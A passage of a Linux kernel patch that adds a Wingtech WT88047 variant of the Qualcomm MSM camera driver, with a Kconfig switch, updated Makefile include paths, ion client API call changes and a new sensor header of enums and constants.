.../msm/camera_wt88047_v2/msm_vb2/Makefile | 4 +- .../msm/camera_wt88047_v2/pproc/cpp/Makefile | 6 +- .../msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c | 2 +- .../msm/camera_wt88047_v2/pproc/vpe/Makefile | 4 +- .../msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c | 2 +- .../msm/camera_wt88047_v2/sensor/Makefile | 10 +- .../sensor/actuator/Makefile | 6 +- .../msm/camera_wt88047_v2/sensor/cci/Makefile | 4 +- .../camera_wt88047_v2/sensor/csid/Makefile | 4 +- .../camera_wt88047_v2/sensor/csiphy/Makefile | 4 +- .../camera_wt88047_v2/sensor/eeprom/Makefile | 6 +- .../camera_wt88047_v2/sensor/flash/Makefile | 4 +- .../msm/camera_wt88047_v2/sensor/io/Makefile | 6 +- .../sensor/io/msm_camera_io_util.h | 7 + include/media/camera2.h | 2 + include/media/msm_cam_sensor.h | 6 + include/media/msm_cam_sensor_wt88047.h | 713 ++++++++++++++++++ include/media/msmb_camera.h | 4 + include/media/msmb_isp.h | 6 + include/media/msmb_isp_wt88047.h | 461 +++++++++++ include/media/msmb_ispif.h | 2 + include/media/msmb_pproc.h | 6 + include/media/msmb_pproc_wt88047.h | 399 ++++++++++ include/media/videobuf2-core.h | 4 + include/soc/qcom/camera2.h | 4 + include/uapi/media/Kbuild | 3 + include/uapi/media/msm_camera.h | 3 + 37 files changed, 1686 insertions(+), 50 deletions(-) create mode 100644 include/media/msm_cam_sensor_wt88047.h create mode 100644 include/media/msmb_isp_wt88047.h create mode 100644 include/media/msmb_pproc_wt88047.h diff --git a/drivers/media/platform/msm/Kconfig b/drivers/media/platform/msm/Kconfig index d42768b9732bd..d4425ba3de3f8 100644 --- a/drivers/media/platform/msm/Kconfig +++ b/drivers/media/platform/msm/Kconfig @@ -33,8 +33,20 @@ config MSMB_CAMERA_DEBUG ---help--- Enable printk() debug for msm camera 2.0 +menuconfig WT88047_CAMERA + bool "Wingtech WT88047 variant of the camera stack" + depends on ARCH_MSM && VIDEO_V4L2 && I2C && MSMB_CAMERA && MACH_WT88047 + default n + ---help--- + Enable the old Wingtech WT88047 camera code + if MSMB_CAMERA +if WT88047_CAMERA +source "drivers/media/platform/msm/camera_wt88047_v2/Kconfig" +endif +if !WT88047_CAMERA source "drivers/media/platform/msm/camera_v2/Kconfig" +endif endif # MSMB_CAMERA source "drivers/media/platform/msm/vidc/Kconfig" diff --git a/drivers/media/platform/msm/Makefile b/drivers/media/platform/msm/Makefile index bf723bf32c426..8617853f0d84a 100644 --- a/drivers/media/platform/msm/Makefile +++ b/drivers/media/platform/msm/Makefile @@ -7,5 +7,9 @@ obj-$(CONFIG_MSM_VIDC_V4L2) += vidc/ obj-$(CONFIG_MSM_WFD) += wfd/ obj-y += broadcast/ obj-$(CONFIG_DVB_MPQ) += dvb/ +ifeq ($(CONFIG_WT88047_CAMERA),y) +obj-$(CONFIG_MSMB_CAMERA) += camera_wt88047_v2/ +else obj-$(CONFIG_MSMB_CAMERA) += camera_v2/ +endif obj-$(CONFIG_MSM_VPU) += vpu/ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/Makefile index a7dad0a8129e1..4023fa5206870 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/Makefile @@ -1,11 +1,11 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor -ccflags-y += -Idrivers/media/platform/msm/camera_v2/codecs -ccflags-y += -Idrivers/media/platform/msm/camera_v2/isps -ccflags-y += -Idrivers/media/platform/msm/camera_v2/pproc -ccflags-y += -Idrivers/media/platform/msm/camera_v2/msm_vb2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/camera -ccflags-y += -Idrivers/media/platform/msm/camera_v2/jpeg_10 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/codecs +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/isps +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/pproc +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/msm_vb2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/camera +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/jpeg_10 obj-$(CONFIG_MSMB_CAMERA) += msm.o obj-$(CONFIG_MSMB_CAMERA) += camera/ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile index bd707509d50e0..18e6c703d4b76 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile @@ -1,3 +1,3 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/msm_vb2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/msm_vb2 obj-$(CONFIG_MSMB_CAMERA) += camera.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile index ace2a53cb046b..bff7d37c78243 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile @@ -1,4 +1,4 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io obj-$(CONFIG_MSMB_CAMERA) += msm_isp.o msm_buf_mgr.o msm_isp_util.o msm_isp_axi_util.o msm_isp_stats_util.o obj-$(CONFIG_MSMB_CAMERA) += msm_isp44.o msm_isp40.o msm_isp32.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c index bd7a5c9f88322..922614baae1a1 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c @@ -869,7 +869,7 @@ static int msm_isp_init_isp_buf_mgr( pr_err("Bufq malloc error\n"); goto bufq_error; } - buf_mgr->client = msm_ion_client_create(-1, ctx_name); + buf_mgr->client = msm_ion_client_create(ctx_name); buf_mgr->buf_handle_cnt = 0; return 0; bufq_error: diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile index 443911f3bcccb..f49a0a4392116 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile @@ -1,3 +1,3 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io obj-$(CONFIG_MSM_CSID) += msm_ispif.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile index 35a3195accafa..84082c95b0716 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile @@ -1,6 +1,6 @@ GCC_VERSION := $(shell $(CONFIG_SHELL) $(PWD)/scripts/gcc-version.sh $(CROSS_COMPILE)gcc) -ccflags-y += -Idrivers/media/platform/msm/camera_v2/jpeg_10 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/jpeg_10 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io obj-$(CONFIG_MSMB_JPEG) += msm_jpeg_dev.o msm_jpeg_sync.o msm_jpeg_core.o msm_jpeg_hw.o msm_jpeg_platform.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c index bd991c9bf48c7..1243d8b42fefc 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c @@ -383,7 +383,7 @@ int msm_jpeg_platform_init(struct platform_device *pdev, *base = jpeg_base; *irq = jpeg_irq; - pgmn_dev->jpeg_client = msm_ion_client_create(-1, "camera/jpeg"); + pgmn_dev->jpeg_client = msm_ion_client_create("camera/jpeg"); JPEG_DBG("%s:%d] success\n", __func__, __LINE__); pgmn_dev->state = MSM_JPEG_INIT; diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile index 8832457f4cf5c..22f591cbc5c55 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile @@ -1,2 +1,2 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 obj-$(CONFIG_MSMB_CAMERA) += msm_generic_buf_mgr.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile index 2673bdd3eeb6c..fa6342975a46d 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile @@ -1,3 +1,3 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/msm_vb2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/msm_vb2 obj-$(CONFIG_MSMB_CAMERA) += msm_vb2.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile index c793ef6a7ecc3..5d1a9f727f1ba 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile @@ -1,4 +1,4 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/isp/ -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/isp/ +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io obj-$(CONFIG_MSM_CPP) += msm_cpp.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c index a9aa9a7f36926..03ecb42b3016f 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c @@ -527,7 +527,7 @@ static int cpp_init_mem(struct cpp_device *cpp_dev) kref_init(&cpp_dev->refcount); kref_get(&cpp_dev->refcount); - cpp_dev->client = msm_ion_client_create(-1, "cpp"); + cpp_dev->client = msm_ion_client_create("cpp"); CPP_DBG("E\n"); if (!cpp_dev->domain) { diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile index 65a7e34469dcb..316e9b768e1e8 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile @@ -1,3 +1,3 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io obj-$(CONFIG_MSMB_CAMERA) += msm_vpe.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c index dd0e8afeb42b5..e261370e5ef76 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c @@ -411,7 +411,7 @@ static int vpe_init_mem(struct vpe_device *vpe_dev) { kref_init(&vpe_dev->refcount); kref_get(&vpe_dev->refcount); - vpe_dev->client = msm_ion_client_create(-1, "vpe"); + vpe_dev->client = msm_ion_client_create("vpe"); if (!vpe_dev->client) { pr_err("couldn't create ion client\n"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile index 4c71db4b71f05..ee9e7b55b2151 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile @@ -1,8 +1,8 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/msm_vb2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/camera -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/cci +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/msm_vb2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/camera +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/cci obj-$(CONFIG_MSMB_CAMERA) += cci/ io/ csiphy/ csid/ actuator/ flash/ eeprom/ obj-$(CONFIG_MSM_CAMERA_SENSOR) += msm_sensor_init.o msm_sensor_driver.o msm_sensor.o obj-$(CONFIG_IMX132) += imx132.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile index c0d607f731bac..2fb520d28eaa2 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile @@ -1,4 +1,4 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/cci +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/cci obj-$(CONFIG_MSMB_CAMERA) += msm_actuator.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile index b814392c9c68c..0c6a8781a7304 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile @@ -1,3 +1,3 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io obj-$(CONFIG_MSM_CCI) += msm_cci.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile index 1bf984718ad08..dd2afea2cf74a 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile @@ -1,3 +1,3 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io obj-$(CONFIG_MSM_CSID) += msm_csid.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile index d18bbf80643d9..8fcf4269e28fc 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile @@ -1,3 +1,3 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io obj-$(CONFIG_MSM_CSIPHY) += msm_csiphy.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile index de843fb87088d..35f44bc61570b 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile @@ -1,4 +1,4 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/cci +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/cci obj-$(CONFIG_MSM_EEPROM) += msm_eeprom.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile index 6f6c35ba7284e..6640684054071 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile @@ -1,5 +1,5 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io obj-$(CONFIG_MSMB_CAMERA) += msm_led_flash.o obj-$(CONFIG_MSMB_CAMERA) += msm_led_trigger.o obj-$(CONFIG_MSMB_CAMERA) += msm_led_i2c_trigger.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile index 0c7c1915a98e9..7840ad91b47bc 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile @@ -1,4 +1,4 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_v2/ -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor -ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/cci +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/ +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor +ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/cci obj-$(CONFIG_MSMB_CAMERA) += msm_camera_io_util.o msm_camera_cci_i2c.o msm_camera_qup_i2c.o msm_camera_i2c_mux.o msm_camera_spi.o msm_camera_dt_util.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h index 0b71cd6e0a29a..9608724d2c933 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h @@ -15,12 +15,19 @@ #include #include +#include #include #include #define NO_SET_RATE -1 #define INIT_RATE -2 +struct msm_gpio_set_tbl { + unsigned gpio; + unsigned long flags; + uint32_t delay; +}; + void msm_camera_io_w(u32 data, void __iomem *addr); void msm_camera_io_w_mb(u32 data, void __iomem *addr); u32 msm_camera_io_r(void __iomem *addr); diff --git a/include/media/camera2.h b/include/media/camera2.h index d2d8b0585e4e8..6100359582650 100644 --- a/include/media/camera2.h +++ b/include/media/camera2.h @@ -93,7 +93,9 @@ struct msm_camera_sensor_board_info { const char *sensor_name; const char *eeprom_name; const char *actuator_name; +#ifndef CONFIG_WT88047_CAMERA const char *ois_name; +#endif const char *special_support_sensors[MAX_SPECIAL_SUPPORT_SIZE]; int32_t special_support_size ; struct msm_camera_slave_info *slave_info; diff --git a/include/media/msm_cam_sensor.h b/include/media/msm_cam_sensor.h index 6262a9634137d..f84f1575d380d 100644 --- a/include/media/msm_cam_sensor.h +++ b/include/media/msm_cam_sensor.h @@ -1,3 +1,7 @@ +#ifdef CONFIG_WT88047_CAMERA +#include +#else + #ifndef __LINUX_MSM_CAM_SENSOR_H #define __LINUX_MSM_CAM_SENSOR_H @@ -777,3 +781,5 @@ struct msm_flash_cfg_data_t32 { #endif #endif /* __LINUX_MSM_CAM_SENSOR_H */ + +#endif /* CONFIG_WT88047_CAMERA */ diff --git a/include/media/msm_cam_sensor_wt88047.h b/include/media/msm_cam_sensor_wt88047.h new file mode 100644 index 0000000000000..67cbb2ed4c311 --- /dev/null +++ b/include/media/msm_cam_sensor_wt88047.h @@ -0,0 +1,713 @@ +#ifndef __LINUX_MSM_CAM_SENSOR_H +#define __LINUX_MSM_CAM_SENSOR_H + +#ifdef MSM_CAMERA_BIONIC +#include +#endif +#include +#include +#include + +#define I2C_SEQ_REG_SETTING_MAX 5 +#define I2C_SEQ_REG_DATA_MAX 20 +#define MAX_CID 16 + +#define MSM_SENSOR_MCLK_8HZ 8000000 +#define MSM_SENSOR_MCLK_16HZ 16000000 +#define MSM_SENSOR_MCLK_24HZ 24000000 + +#define GPIO_OUT_LOW (0 << 1) +#define GPIO_OUT_HIGH (1 << 1) + +#define CSI_EMBED_DATA 0x12 +#define CSI_RESERVED_DATA_0 0x13 +#define CSI_YUV422_8 0x1E +#define CSI_RAW8 0x2A +#define CSI_RAW10 0x2B +#define CSI_RAW12 0x2C + +#define CSI_DECODE_6BIT 0 +#define CSI_DECODE_8BIT 1 +#define CSI_DECODE_10BIT 2 +#define CSI_DECODE_DPCM_10_8_10 5 + +#define MAX_SENSOR_NAME 32 + +#define MAX_ACT_MOD_NAME_SIZE 32 +#define MAX_ACT_NAME_SIZE 32 +#define NUM_ACTUATOR_DIR 2 +#define MAX_ACTUATOR_SCENARIO 8 +#define MAX_ACTUATOR_REGION 5 +#define MAX_ACTUATOR_INIT_SET 12 +#define MAX_ACTUATOR_REG_TBL_SIZE 8 +#define MAX_ACTUATOR_AF_TOTAL_STEPS 1024 + +#define MOVE_NEAR 0 +#define MOVE_FAR 1 + +#define MSM_ACTUATOR_MOVE_SIGNED_FAR -1 +#define MSM_ACTUATOR_MOVE_SIGNED_NEAR 1 + +#define MAX_EEPROM_NAME 32 + +#define MAX_AF_ITERATIONS 3 +#define MAX_NUMBER_OF_STEPS 47 + +#define MAX_LED_TRIGGERS 3 + +enum sensor_stats_type { + YRGB, + YYYY, +}; + +enum flash_type { + LED_FLASH = 1, + STROBE_FLASH, + GPIO_FLASH +}; + +enum msm_camera_i2c_reg_addr_type { + MSM_CAMERA_I2C_BYTE_ADDR = 1, + MSM_CAMERA_I2C_WORD_ADDR, + MSM_CAMERA_I2C_3B_ADDR, + MSM_CAMERA_I2C_ADDR_TYPE_MAX, +}; + +enum msm_camera_i2c_data_type { + MSM_CAMERA_I2C_BYTE_DATA = 1, + MSM_CAMERA_I2C_WORD_DATA, + MSM_CAMERA_I2C_SET_BYTE_MASK, + MSM_CAMERA_I2C_UNSET_BYTE_MASK, + MSM_CAMERA_I2C_SET_WORD_MASK, + MSM_CAMERA_I2C_UNSET_WORD_MASK, + MSM_CAMERA_I2C_SET_BYTE_WRITE_MASK_DATA, + MSM_CAMERA_I2C_DATA_TYPE_MAX, +}; + +enum msm_sensor_power_seq_type_t { + SENSOR_CLK, + SENSOR_GPIO, + SENSOR_VREG, + SENSOR_I2C_MUX, +}; + +enum msm_sensor_clk_type_t { + SENSOR_CAM_MCLK, + SENSOR_CAM_CLK, + SENSOR_CAM_CLK_MAX, +}; + +enum msm_sensor_power_seq_gpio_t { + SENSOR_GPIO_RESET, + SENSOR_GPIO_STANDBY, + SENSOR_GPIO_AF_PWDM, + SENSOR_GPIO_VIO, + SENSOR_GPIO_VANA, + SENSOR_GPIO_VDIG, + SENSOR_GPIO_VAF, + SENSOR_GPIO_FL_EN, + SENSOR_GPIO_FL_NOW, + SENSOR_GPIO_FL_RESET, + SENSOR_GPIO_MAX, +}; + +enum msm_camera_vreg_name_t { + CAM_VDIG, + CAM_VIO, + CAM_VANA, + CAM_VAF, + CAM_VREG_MAX, +}; + +enum msm_sensor_resolution_t { + MSM_SENSOR_RES_FULL, + MSM_SENSOR_RES_QTR, + MSM_SENSOR_RES_2, + MSM_SENSOR_RES_3, + MSM_SENSOR_RES_4, + MSM_SENSOR_RES_5, + MSM_SENSOR_RES_6, + MSM_SENSOR_RES_7, + MSM_SENSOR_INVALID_RES, +}; + +enum msm_camera_stream_type_t { + MSM_CAMERA_STREAM_PREVIEW, + MSM_CAMERA_STREAM_SNAPSHOT, + MSM_CAMERA_STREAM_VIDEO, + MSM_CAMERA_STREAM_INVALID, +}; + +enum sensor_sub_module_t { + SUB_MODULE_SENSOR, + SUB_MODULE_CHROMATIX, + SUB_MODULE_ACTUATOR, + SUB_MODULE_EEPROM, + SUB_MODULE_LED_FLASH, + SUB_MODULE_STROBE_FLASH, + SUB_MODULE_CSID, + SUB_MODULE_CSID_3D, + SUB_MODULE_CSIPHY, + SUB_MODULE_CSIPHY_3D, + SUB_MODULE_MAX, +}; + +enum { + MSM_CAMERA_EFFECT_MODE_OFF, + MSM_CAMERA_EFFECT_MODE_MONO, + MSM_CAMERA_EFFECT_MODE_NEGATIVE, + MSM_CAMERA_EFFECT_MODE_SOLARIZE, + MSM_CAMERA_EFFECT_MODE_SEPIA, + MSM_CAMERA_EFFECT_MODE_POSTERIZE, + MSM_CAMERA_EFFECT_MODE_WHITEBOARD, + MSM_CAMERA_EFFECT_MODE_BLACKBOARD, + MSM_CAMERA_EFFECT_MODE_AQUA, + MSM_CAMERA_EFFECT_MODE_EMBOSS, + MSM_CAMERA_EFFECT_MODE_SKETCH, + MSM_CAMERA_EFFECT_MODE_NEON, + MSM_CAMERA_EFFECT_MODE_MAX +}; + +enum { + MSM_CAMERA_WB_MODE_AUTO, + MSM_CAMERA_WB_MODE_CUSTOM, + MSM_CAMERA_WB_MODE_INCANDESCENT, + MSM_CAMERA_WB_MODE_FLUORESCENT, + MSM_CAMERA_WB_MODE_WARM_FLUORESCENT, + MSM_CAMERA_WB_MODE_DAYLIGHT, + MSM_CAMERA_WB_MODE_CLOUDY_DAYLIGHT, + MSM_CAMERA_WB_MODE_TWILIGHT, + MSM_CAMERA_WB_MODE_SHADE, + MSM_CAMERA_WB_MODE_OFF, + MSM_CAMERA_WB_MODE_MAX +}; + +enum { + MSM_CAMERA_SCENE_MODE_OFF, + MSM_CAMERA_SCENE_MODE_AUTO, + MSM_CAMERA_SCENE_MODE_LANDSCAPE, + MSM_CAMERA_SCENE_MODE_SNOW, + MSM_CAMERA_SCENE_MODE_BEACH, + MSM_CAMERA_SCENE_MODE_SUNSET, + MSM_CAMERA_SCENE_MODE_NIGHT, + MSM_CAMERA_SCENE_MODE_PORTRAIT, + MSM_CAMERA_SCENE_MODE_BACKLIGHT, + MSM_CAMERA_SCENE_MODE_SPORTS, + MSM_CAMERA_SCENE_MODE_ANTISHAKE, + MSM_CAMERA_SCENE_MODE_FLOWERS, + MSM_CAMERA_SCENE_MODE_CANDLELIGHT, + MSM_CAMERA_SCENE_MODE_FIREWORKS, + MSM_CAMERA_SCENE_MODE_PARTY, + MSM_CAMERA_SCENE_MODE_NIGHT_PORTRAIT, + MSM_CAMERA_SCENE_MODE_THEATRE, + MSM_CAMERA_SCENE_MODE_ACTION, + MSM_CAMERA_SCENE_MODE_AR, + MSM_CAMERA_SCENE_MODE_FACE_PRIORITY, + MSM_CAMERA_SCENE_MODE_BARCODE, + MSM_CAMERA_SCENE_MODE_HDR, + MSM_CAMERA_SCENE_MODE_MAX +}; + +enum csid_cfg_type_t { + CSID_INIT, + CSID_CFG, + 